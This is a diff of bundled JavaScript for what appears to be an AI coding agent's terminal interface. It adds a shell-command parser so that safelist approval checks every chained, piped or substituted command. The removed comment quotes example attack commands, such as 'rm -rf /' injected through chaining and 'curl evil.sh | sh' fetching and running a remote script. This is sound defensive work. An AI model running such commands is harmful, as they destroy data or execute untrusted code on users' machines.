  * @-completion path display formatter.
@@ -7702,6 +8087,248 @@ function splitPromptSegments(text, refs) {
7702
8087
  return out;
7703
8088
  }
7704
8089
  //#endregion
8090
+ //#region src/chat/shell-parse.ts
8091
+ /**
8092
+ * Lightweight shell command parser for safelist enforcement.
8093
+ *
8094
+ * Extracts the head token (program name) of every command in a bash
8095
+ * command string — including chains (`&&`, `||`, `;`), pipes (`|`),
8096
+ * subshells (`(…)`), and command substitutions (`$(…)` and backticks).
8097
+ *
8098
+ * Handles quoting (`'…'`, `"…"`, `\x`), variable assignments
8099
+ * (`NAME=val`), I/O redirection, and the `!` negation prefix.
8100
+ *
8101
+ * Returns `null` when parsing fails so callers can fall back to
8102
+ * prompting (safe default).
8103
+ */
8104
+ function extractCommandHeads(command) {
8105
+ try {
8106
+ const p = new ShellParser(command);
8107
+ p.list();
8108
+ return p.heads;
8109
+ } catch {
8110
+ return null;
8111
+ }
8112
+ }
8113
+ const META = new Set(" \n\r;|&()<>".split(""));
8114
+ var ShellParser = class ShellParser {
8115
+ s;
8116
+ heads = [];
8117
+ i = 0;
8118
+ constructor(s) {
8119
+ this.s = s;
8120
+ }
8121
+ /** Command list — pipelines separated by `;`, `&&`, `||`, `\n`, `&`. */
8122
+ list(closer) {
8123
+ for (;;) {
8124
+ this.ws();
8125
+ if (this.end(closer)) return;
8126
+ this.pipeline(closer);
8127
+ this.ws();
8128
+ if (this.end(closer)) return;
8129
+ const c = this.c();
8130
+ if (c === ";" || c === "\n" || c === "\r") {
8131
+ this.i++;
8132
+ continue;
8133
+ }
8134
+ if (this.is("&&") || this.is("||")) {
8135
+ this.i += 2;
8136
+ continue;
8137
+ }
8138
+ if (c === "&") {
8139
+ this.i++;
8140
+ continue;
8141
+ }
8142
+ break;
8143
+ }
8144
+ }
8145
+ /** Pipeline — simple commands separated by `|` (not `||`). */
8146
+ pipeline(closer) {
8147
+ this.cmd(closer);
8148
+ for (;;) {
8149
+ this.ws();
8150
+ if (this.c() === "|" && !this.is("||")) {
8151
+ this.i++;
8152
+ this.cmd(closer);
8153
+ } else break;
8154
+ }
8155
+ }
8156
+ /** Simple command — extract head, skip remaining arguments. */
8157
+ cmd(closer) {
8158
+ this.ws();
8159
+ if (this.i >= this.s.length) return;
8160
+ if (closer && this.c() === closer) return;
8161
+ if (this.c() === "(") {
8162
+ this.i++;
8163
+ this.list(")");
8164
+ return;
8165
+ }
8166
+ if (this.c() === "!" && this.i + 1 < this.s.length && (this.s[this.i + 1] === " " || this.s[this.i + 1] === " ")) {
8167
+ this.i++;
8168
+ this.ws();
8169
+ }
8170
+ while (this.i < this.s.length && !this.sep(closer)) {
8171
+ if (this.c() === "(") {
8172
+ this.i++;
8173
+ this.list(")");
8174
+ break;
8175
+ }
8176
+ const w = this.word();
8177
+ if (!w) break;
8178
+ if (isAssignment(w)) {
8179
+ this.ws();
8180
+ continue;
8181
+ }
8182
+ this.heads.push(w);
8183
+ break;
8184
+ }
8185
+ this.tail(closer);
8186
+ }
8187
+ /** Read one shell word, handling quoting and substitutions. */
8188
+ word() {
8189
+ let out = "";
8190
+ while (this.i < this.s.length) {
8191
+ const c = this.c();
8192
+ if (META.has(c)) break;
8193
+ if (c === "\\" && this.i + 1 < this.s.length) {
8194
+ out += this.s[this.i + 1];
8195
+ this.i += 2;
8196
+ continue;
8197
+ }
8198
+ if (c === "'") {
8199
+ this.i++;
8200
+ while (this.i < this.s.length && this.s[this.i] !== "'") out += this.s[this.i++];
8201
+ if (this.i < this.s.length) this.i++;
8202
+ continue;
8203
+ }
8204
+ if (c === "\"") {
8205
+ out += this.dquote();
8206
+ continue;
8207
+ }
8208
+ if (this.is("$(")) {
8209
+ this.i += 2;
8210
+ this.list(")");
8211
+ continue;
8212
+ }
8213
+ if (c === "`") {
8214
+ this.btick();
8215
+ continue;
8216
+ }
8217
+ out += c;
8218
+ this.i++;
8219
+ }
8220
+ return out;
8221
+ }
8222
+ /** Double-quoted string — returns literal chars, recurses into substitutions. */
8223
+ dquote() {
8224
+ this.i++;
8225
+ let out = "";
8226
+ while (this.i < this.s.length && this.s[this.i] !== "\"") {
8227
+ if (this.s[this.i] === "\\" && this.i + 1 < this.s.length) {
8228
+ out += this.s[this.i + 1];
8229
+ this.i += 2;
8230
+ continue;
8231
+ }
8232
+ if (this.is("$(")) {
8233
+ this.i += 2;
8234
+ this.list(")");
8235
+ continue;
8236
+ }
8237
+ if (this.s[this.i] === "`") {
8238
+ this.btick();
8239
+ continue;
8240
+ }
8241
+ out += this.s[this.i++];
8242
+ }
8243
+ if (this.i < this.s.length) this.i++;
8244
+ return out;
8245
+ }
8246
+ /** Backtick substitution — creates a sub-parser for the inner content. */
8247
+ btick() {
8248
+ this.i++;
8249
+ const close = this.s.indexOf("`", this.i);
8250
+ const sub = new ShellParser(close < 0 ? this.s.slice(this.i) : this.s.slice(this.i, close));
8251
+ sub.list();
8252
+ this.heads.push(...sub.heads);
8253
+ this.i = close < 0 ? this.s.length : close + 1;
8254
+ }
8255
+ /** Skip remaining arguments and redirections until the next command boundary. */
8256
+ tail(closer) {
8257
+ while (this.i < this.s.length) {
8258
+ this.ws();
8259
+ if (this.i >= this.s.length || this.sep(closer)) break;
8260
+ if (this.redir()) continue;
8261
+ if (this.c() === "(") {
8262
+ this.i++;
8263
+ this.list(")");
8264
+ continue;
8265
+ }
8266
+ if (!this.word()) break;
8267
+ }
8268
+ }
8269
+ /** Try to consume an I/O redirection operator + target. Returns true if consumed. */
8270
+ redir() {
8271
+ const c = this.c();
8272
+ let yes = c === "<" || c === ">";
8273
+ if (!yes && c >= "0" && c <= "9" && this.i + 1 < this.s.length) {
8274
+ const n = this.s[this.i + 1];
8275
+ yes = n === "<" || n === ">";
8276
+ }
8277
+ if (!yes) return false;
8278
+ while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
8279
+ if (this.c() === ">") {
8280
+ this.i++;
8281
+ if (this.c() === ">") this.i++;
8282
+ if (this.c() === "&") {
8283
+ this.i++;
8284
+ while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
8285
+ return true;
8286
+ }
8287
+ } else if (this.c() === "<") {
8288
+ this.i++;
8289
+ if (this.c() === "<") {
8290
+ this.i++;
8291
+ if (this.c() === "-") this.i++;
8292
+ }
8293
+ }
8294
+ this.ws();
8295
+ this.word();
8296
+ return true;
8297
+ }
8298
+ /** True at a command boundary (`;`, `\n`, `&`, `|`, `)`, or closer). */
8299
+ sep(closer) {
8300
+ const c = this.c();
8301
+ if (c === ";" || c === "\n" || c === "\r" || c === "&" || c === ")") return true;
8302
+ if (c === "|") return true;
8303
+ if (closer && c === closer) return true;
8304
+ return false;
8305
+ }
8306
+ /** True when past end or at closer (closer is consumed). */
8307
+ end(closer) {
8308
+ if (this.i >= this.s.length) return true;
8309
+ if (closer && this.c() === closer) {
8310
+ this.i++;
8311
+ return true;
8312
+ }
8313
+ return false;
8314
+ }
8315
+ c() {
8316
+ return this.s[this.i] ?? "";
8317
+ }
8318
+ is(s) {
8319
+ return this.s.startsWith(s, this.i);
8320
+ }
8321
+ ws() {
8322
+ while (this.i < this.s.length && (this.s[this.i] === " " || this.s[this.i] === " ")) this.i++;
8323
+ }
8324
+ };
8325
+ /** `NAME=…` where NAME is a valid shell identifier. */
8326
+ function isAssignment(w) {
8327
+ const eq = w.indexOf("=");
8328
+ if (eq <= 0) return false;
8329
+ return /^[A-Z_]\w*$/i.test(w.slice(0, eq));
8330
+ }
8331
+ //#endregion
7705
8332
  //#region src/chat/safe-mode.ts
7706
8333
  /**
7707
8334
  * Safe-mode storage + matching for the TUI.
@@ -7827,66 +8454,23 @@ function primaryArgToken(input) {
7827
8454
  return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
7828
8455
  }
7829
8456
  /**
7830
- * Shell features that introduce a SECOND, UNRELATED command into the
7831
- * pipeline — and would silently bypass a `shell:<head>:*` safelist that
7832
- * the user only meant to cover the head program. We block these
7833
- * specifically:
7834
- *
7835
- * - `;` — sequence operator (`git status; rm -rf /`)
7836
- * - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
7837
- * - `\n` / `\r` — multi-line scripts, equivalent to `;`
7838
- * - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
7839
- * - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
7840
- *
7841
- * We deliberately do NOT block:
7842
- *
7843
- * - `|` — pipes; required for the bread-and-butter CLI pattern
7844
- * `sentry issue list … | jq -r '.[]'`.
7845
- * - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
7846
- * `cmd 2>&1 | jq` are normal CLI usage.
7847
- * - `&` (alone) — backgrounding; runs the same command in the background
7848
- * rather than chaining a new one.
7849
- * - `(…)` — subshells; rare in practice, and the chaining
7850
- * detectors above already catch the dangerous content
7851
- * that would typically live inside them.
7852
- *
7853
- * Trade-off: a model that controls the output of the safelisted head
7854
- * command could in principle pipe garbage into a destructive tool
7855
- * (`sentry list | sh`). The original implementation blocked all
7856
- * metacharacters to avoid that risk, but it made `shell:<head>:*`
7857
- * unusable for real CLI workflows — users hit the prompt on every
7858
- * `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
7859
- * trusts the user's explicit "I want everything starting with <head>"
7860
- * decision; the chaining rejections above keep the obvious escape
7861
- * hatches closed.
7862
- *
7863
- * The regex is intentionally generous: false positives (e.g. a literal
7864
- * `&&` inside a quoted argument) just prompt the user again, which is
7865
- * the safe failure mode.
7866
- */
7867
- const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
7868
- function hasShellChaining(command) {
7869
- return SHELL_CHAINING_RE.test(command);
7870
- }
7871
- /**
7872
8457
  * Test whether a `{ tool, input }` pair is covered by one safelist entry.
7873
8458
  *
7874
8459
  * Supported entry shapes:
7875
- * - `"<tool>"` — broad match on tool name. For `shell`, the command
7876
- * must not chain through another program (see {@link SHELL_CHAINING_RE}).
8460
+ * - `"<tool>"` — broad match on tool name.
7877
8461
  * - `"<tool>:<token>:*"` — match when the primary arg's first token
7878
- * equals `<token>`. For `shell`, same chaining gate as above. Pipes
7879
- * and redirects are allowed so `shell:sentry:*` covers the typical
7880
- * `sentry | jq …` workflow.
8462
+ * equals `<token>`.
8463
+ *
8464
+ * This function matches a **single command** against a **single entry**.
8465
+ * For shell commands that chain multiple programs (`&&`, `||`, `;`,
8466
+ * `$(…)`, etc.), use {@link isOnSafelist} which parses the full command
8467
+ * and checks every head token independently.
7881
8468
  *
7882
8469
  * Entries that don't fit either shape are ignored (forward-compat for
7883
8470
  * future pattern syntax — readers shouldn't choke on entries written
7884
8471
  * by a newer version of the TUI).
7885
8472
  */
7886
8473
  function matchesSafelistEntry(entry, tool, input) {
7887
- if (tool === "shell") {
7888
- if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
7889
- }
7890
8474
  if (entry === tool) return true;
7891
8475
  const sep = entry.indexOf(":");
7892
8476
  if (sep <= 0) return false;
@@ -7895,9 +8479,26 @@ function matchesSafelistEntry(entry, tool, input) {
7895
8479
  if (scope.endsWith(":*")) return primaryArgToken(input) === scope.slice(0, -2);
7896
8480
  return false;
7897
8481
  }
7898
- /** True when a call matches ANY entry in the project's safelist (or is implicitly safe). */
8482
+ /**
8483
+ * True when a call matches ANY entry in the project's safelist (or is
8484
+ * implicitly safe).
8485
+ *
8486
+ * For `shell` commands, the full command string is parsed into individual
8487
+ * commands (handling `&&`, `||`, `;`, `|`, `$(…)`, backticks, subshells).
8488
+ * Every command head must be covered by at least one safelist entry for
8489
+ * the call to pass. If parsing fails, returns `false` (prompt the user).
8490
+ */
7899
8491
  function isOnSafelist(entries, tool, input) {
7900
8492
  if (IMPLICITLY_SAFE_TOOLS.includes(tool)) return true;
8493
+ if (tool === "shell") {
8494
+ const heads = extractCommandHeads(typeof input.command === "string" ? input.command : "");
8495
+ if (heads === null) return false;
8496
+ if (heads.length === 0) return entries.some((e) => matchesSafelistEntry(e, tool, input));
8497
+ return heads.every((head) => entries.some((e) => matchesSafelistEntry(e, tool, {
8498
+ ...input,
8499
+ command: head
8500
+ })));
8501
+ }
7901
8502
  return entries.some((e) => matchesSafelistEntry(e, tool, input));
7902
8503
  }
7903
8504
  /**
@@ -9188,6 +9789,6 @@ function countNeighbors(turnIds, turnId) {
9188
9789
  };
9189
9790
  }
9190
9791
  //#endregion
9191
- export { useMcpAuthDispatch as $, tryOpenBrowser as $n, pruneTodosByRun as $r, loadState as $t, getSafelist as A, DEFAULT_KEYBINDINGS as An, modelsForDescriptor as Ar, resolveChipColor as At, supportsOAuth as B, SKILLS_TRIGGER as Bn, accentColor as Br, useDiscoveryOptional as Bt, resolveSessionExportTarget as C, mergeApprovalAndBodyOutcomes as Cn, anthropicDescriptor as Cr, SETTINGS_CHOICES as Ct, useSafeModeQueue as D, stripEditOutcomesAnnotation as Dn, getContextWindow as Dr, useSettings as Dt, useSafeModeActions as E, rewriteMultiEditHeader as En, effectiveContextWindow as Er, clampFps as Et, suggestSafelistEntry as F, matchesBinding as Fn, BUILTIN_AGENTS as Fr, CATPPUCCIN_MACCHIATO as Ft, defaultMcpsConfigPaths as G, uniqueFilesFromReferences as Gn, TODOWRITE_TOOL as Gr, createStateStore as Gt, filterModelCatalog as H, uniqueSkillNamesFromReferences as Hn, singleAgentRegistry as Hr, useConfig as Ht, writeProjects as I, mergeKeybindings as In, DEFAULT_AGENT_ID as Ir, CATPPUCCIN_MOCHA as It, projectUserPaths as J, findActiveTrigger as Jn, createTodoTools as Jr, isEditErrorResult as Jt, discoverProjectMcps as K, applyInsert as Kn, TODO_STATUS_GLYPHS as Kr, deriveSessionTitle as Kt, splitPromptSegments as L, parseBindingSpec as Ln, DEFAULT_BUDGET_EXCLUDE_TOOLS as Lr, createDiscoverySlot as Lt, matchesSafelistEntry as M, KEYBINDING_DEF_BY_ACTION as Mn, openrouterDescriptor as Mr, VAPORWAVE_THEME as Mt, projectsFilePath as N, ensureKeybindingsFile as Nn, piIdOf as Nr, CATPPUCCIN_FRAPPE as Nt, IMPLICITLY_SAFE_TOOLS as O, summarizeOutcomes as On, getModelInfo as Or, BUILTIN_THEMES as Ot, readProjects as P, keybindingsPath as Pn, BUILD_AGENT as Pr, CATPPUCCIN_LATTE as Pt, McpAuthProvider as Q, buildLinearRamp as Qn, pickActiveRunId as Qr, listSessionMeta as Qt, formatPathForCwd as R, readKeybindings as Rn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Rr, DiscoveryProvider as Rt, renderSession as S, maskToOutcomeKinds as Sn, OUTPUT_RESERVE_TOKENS as Sr, DEFAULT_SETTINGS as St, SafeModeProvider as T, resolveApprovalForPayload as Tn, credKeyOf as Tr, SettingsProvider as Tt, indexOfEntry as U, FILES_TRIGGER as Un, TODOREAD_TOOL as Ur, resolveConfig as Ut, buildModelCatalog as V, createSkillsCompletionProvider as Vn, resolveAgentId as Vr, ConfigProvider as Vt, buildMcpServers as W, createFilesCompletionProvider as Wn, TODOS_METADATA_KEY as Wr, EDIT_TOOL_NAMES as Wt, mcpCredentialsPath as X, useCompletion as Xn, getTodosForRun as Xr, isVisible as Xt, createFileMcpCredentialStore as Y, mergeReferences as Yn, getArchivedTodosForRun as Yr, isTurnHighlighted as Yt, patchMcpCredential as Z, blendHsl as Zn, isTodoTool as Zr, lastContextSizeFromTurns as Zt, turnContextSize as _, previewEditPayload as _n, readProviderCredential as _r, truncateTrailing as _t, computeTurnAnchors as a, DOING_TASKS_DOCTRINE as ai, titleFromTurns as an, compareSemver as ar, InteractionsProvider as at, defaultSkillScanPaths as b, tokenize as bn, writeCredentials as br, listProjectFiles as bt, formatToolCall as c, INTERACTION_GUIDANCE_NO_PROMPTS as ci, turnSelectionOwnership as cn, parseSemver as cr, createInteractionTools as ct, useSelectStyle as d, SUBAGENT_GUIDANCE as di, buildContextualDiff as dn, resolvePlatformPackage as dr, pendingInteractionsFromTurns as dt, selectActiveTodos as ei, marginTopFor as en, bootProfileEnabled as er, useMcpAuthState as et, useSurfaces as f, TOKEN_DISCIPLINE_DOCTRINE as fi, buildUnifiedDiff as fn, shouldAutoCompact as fr, serializeInteractionResponse as ft, finalizeStreamingMarkdownForOwner as g, filetypeFromPath as gn, readCredentials as gr, hintsLength as gt, finalizeStreamingMarkdown as h, envSection as hi, extractEditPayload as hn, credentialsPath as hr, clipHintsToWidth as ht, turnAsText as i, COMMUNICATION_DOCTRINE as ii, sumRunCosts as in, checkForUpdate as ir, ASK_USER_TOOL as it, isOnSafelist as j, KEYBINDING_DEFS as jn, openaiDescriptor as jr, resolveTheme as jt, addToSafelist as k, findGitRoot$1 as kn, modelSupportsReasoning as kr, DEFAULT_THEME as kt, ThemeProvider as l, PLAN_MODE_DOCTRINE as li, updateToolEventOutcomes as ln, performInPlaceSelfUpdate as lr, isInteractionTool as lt, useTheme as m, buildPlanSystem as mi, computeLineDiff as mn, applyApiKeyEnv as mr, useInteractionsQueue as mt, deleteTurnSafely as n, useActiveTodos as ni, selectableTurnIds as nn, buildUpdateHint as nr, reduceMcpAuth as nt, TOOL_DISPLAY as o, IDENTITY_PREFIX as oi, toolCallPreview as on, detectLibc as or, PRESENT_PLAN_TOOL as ot, useSyntaxStyles as p, buildBuildSystem as pi, computeInlineDiff as pn, detectAuth as pr, useInteractionsActions as pt, parseMcpsFile as q, collectReferences as qn, TODO_WRITE_COUNTS_METADATA_KEY as qr, eventsFromTurns as qt, truncateTurnsAt as r, ACTIONS_WITH_CARE_DOCTRINE as ri, stripSpawnTokensLine as rn, useUpdateCheck as rr, splitMarkdownCodeBlocks as rt, displayNameFor as s, INTERACTION_GUIDANCE as si, toolResultText as sn, detectPackageManager as sr, buildResumedToolResultsTurn as st, countNeighbors as t, setTodosForRun as ti, saveState as tn, bootTick as tr, getMcpAuthStatus as tt, useColors as u, PLAN_MODE_DOCTRINE_NO_PROMPTS as ui, applyEditPayload as un, performSelfUpdate as ur, makeRequestInteraction as ut, useStreamBuffer as v, splitLines as vn, removeProviderCredential as vr, cleanTitle as vt, writeSessionExport as w, parseEditOutcomesFromResult as wn, cerebrasDescriptor as wr, SETTINGS_TOGGLES as wt, discoverProjectSkills as x, buildEditOutcomesAnnotation as xn, BUILTIN_PROVIDERS as xr, useEnabledToggleSet as xt, buildSkillsConfig as y, summarizeEditPayload as yn, setProviderCredential as yr, generateSessionTitle as yt, runOAuthLogin as z, stripJsonComments as zn, PLAN_AGENT as zr, useDiscovery as zt };
9792
+ export { patchMcpCredential as $, collectReferences as $n, TODO_STATUS_GLYPHS as $r, isEditErrorResult as $t, getSafelist as A, resolveApprovalForPayload as An, anthropicDescriptor as Ar, SettingsProvider as At, oauthUsesManualCodePaste as B, keybindingsPath as Bn, piIdOf as Br, CATPPUCCIN_MACCHIATO as Bt, resolveSessionExportTarget as C, splitLines as Cn, readCredentials as Cr, buildHints as Ct, useSafeModeQueue as D, maskToOutcomeKinds as Dn, writeCredentials as Dr, DEFAULT_SETTINGS as Dt, useSafeModeActions as E, buildEditOutcomesAnnotation as En, setProviderCredential as Er, useEnabledToggleSet as Et, suggestSafelistEntry as F, DEFAULT_KEYBINDINGS as Fn, getModelInfo as Fr, resolveChipColor as Ft, indexOfEntry as G, stripJsonComments as Gn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Gr, useDiscoveryOptional as Gt, supportsOAuth as H, mergeKeybindings as Hn, BUILTIN_AGENTS as Hr, createDiscoverySlot as Ht, writeProjects as I, KEYBINDING_DEFS as In, modelSupportsReasoning as Ir, resolveTheme as It, discoverProjectMcps as J, uniqueSkillNamesFromReferences as Jn, resolveAgentId as Jr, resolveConfig as Jt, buildMcpServers as K, SKILLS_TRIGGER as Kn, PLAN_AGENT as Kr, ConfigProvider as Kt, splitPromptSegments as L, KEYBINDING_DEF_BY_ACTION as Ln, modelsForDescriptor as Lr, VAPORWAVE_THEME as Lt, matchesSafelistEntry as M, stripEditOutcomesAnnotation as Mn, credKeyOf as Mr, useSettings as Mt, projectsFilePath as N, summarizeOutcomes as Nn, effectiveContextWindow as Nr, BUILTIN_THEMES as Nt, IMPLICITLY_SAFE_TOOLS as O, mergeApprovalAndBodyOutcomes as On, BUILTIN_PROVIDERS as Or, SETTINGS_CHOICES as Ot, readProjects as P, findGitRoot$1 as Pn, getContextWindow as Pr, DEFAULT_THEME as Pt, mcpCredentialsPath as Q, applyInsert as Qn, TODOWRITE_TOOL as Qr, eventsFromTurns as Qt, formatPathForCwd as R, ensureKeybindingsFile as Rn, openaiDescriptor as Rr, CATPPUCCIN_FRAPPE as Rt, renderSession as S, envSection as Si, previewEditPayload as Sn, credentialsPath as Sr, generateSessionTitle as St, SafeModeProvider as T, tokenize as Tn, removeProviderCredential as Tr, listProjectFiles as Tt, buildModelCatalog as U, parseBindingSpec as Un, DEFAULT_AGENT_ID as Ur, DiscoveryProvider as Ut, runOAuthLogin as V, matchesBinding as Vn, BUILD_AGENT as Vr, CATPPUCCIN_MOCHA as Vt, filterModelCatalog as W, readKeybindings as Wn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Wr, useDiscovery as Wt, projectUserPaths as X, createFilesCompletionProvider as Xn, TODOREAD_TOOL as Xr, createStateStore as Xt, parseMcpsFile as Y, FILES_TRIGGER as Yn, singleAgentRegistry as Yr, EDIT_TOOL_NAMES as Yt, createFileMcpCredentialStore as Z, uniqueFilesFromReferences as Zn, TODOS_METADATA_KEY as Zr, deriveSessionTitle as Zt, turnContextSize as _, PLAN_MODE_DOCTRINE_NO_PROMPTS as _i, buildUnifiedDiff as _n, resolvePlatformPackage as _r, EMPTY_HINTS as _t, computeTurnAnchors as a, pickActiveRunId as ai, marginTopFor as an, tryOpenBrowser as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, buildBuildSystem as bi, extractEditPayload as bn, detectAuth as br, truncateTrailing as bt, formatToolCall as c, setTodosForRun as ci, stripSpawnTokensLine as cn, buildUpdateHint as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, COMMUNICATION_DOCTRINE as di, toolCallPreview as dn, compareSemver as dr, isInteractionTool as dt, TODO_WRITE_COUNTS_METADATA_KEY as ei, isTurnHighlighted as en, findActiveTrigger as er, McpAuthProvider as et, useSurfaces as f, DOING_TASKS_DOCTRINE as fi, toolResultText as fn, detectLibc as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, PLAN_MODE_DOCTRINE as gi, buildContextualDiff as gn, performSelfUpdate as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, INTERACTION_GUIDANCE_NO_PROMPTS as hi, applyEditPayload as hn, performInPlaceSelfUpdate as hr, useInteractionsActions as ht, turnAsText as i, isTodoTool as ii, loadState as in, buildLinearRamp as ir, reduceMcpAuth as it, isOnSafelist as j, rewriteMultiEditHeader as jn, cerebrasDescriptor as jr, clampFps as jt, addToSafelist as k, parseEditOutcomesFromResult as kn, OUTPUT_RESERVE_TOKENS as kr, SETTINGS_TOGGLES as kt, ThemeProvider as l, useActiveTodos as li, sumRunCosts as ln, useUpdateCheck as lr, buildResumedToolResultsTurn as lt, useTheme as m, INTERACTION_GUIDANCE as mi, updateToolEventOutcomes as mn, parseSemver as mr, serializeInteractionResponse as mt, deleteTurnSafely as n, getArchivedTodosForRun as ni, lastContextSizeFromTurns as nn, useCompletion as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, pruneTodosByRun as oi, saveState as on, bootProfileEnabled as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, IDENTITY_PREFIX as pi, turnSelectionOwnership as pn, detectPackageManager as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, createSkillsCompletionProvider as qn, accentColor as qr, useConfig as qt, truncateTurnsAt as r, getTodosForRun as ri, listSessionMeta as rn, blendHsl as rr, getMcpAuthStatus as rt, displayNameFor as s, selectActiveTodos as si, selectableTurnIds as sn, bootTick as sr, InteractionsProvider as st, countNeighbors as t, createTodoTools as ti, isVisible as tn, mergeReferences as tr, useMcpAuthDispatch as tt, useColors as u, ACTIONS_WITH_CARE_DOCTRINE as ui, titleFromTurns as un, checkForUpdate as ur, createInteractionTools as ut, useStreamBuffer as v, SUBAGENT_GUIDANCE as vi, computeInlineDiff as vn, AUTO_COMPACT_MIN_GROWTH_FRACTION as vr, clipHintsToWidth as vt, writeSessionExport as w, summarizeEditPayload as wn, readProviderCredential as wr, shortChord as wt, discoverProjectSkills as x, buildPlanSystem as xi, filetypeFromPath as xn, applyApiKeyEnv as xr, cleanTitle as xt, buildSkillsConfig as y, TOKEN_DISCIPLINE_DOCTRINE as yi, computeLineDiff as yn, shouldAutoCompact as yr, hintsLength as yt, fetchOAuthRedirect as z, formatBindingForDisplay as zn, openrouterDescriptor as zr, CATPPUCCIN_LATTE as zt };
9192
9793
 
9193
- //# sourceMappingURL=turn-operations-rYyU2Qyq.js.map
9794
+ //# sourceMappingURL=turn-operations-B8ySajUl.js.map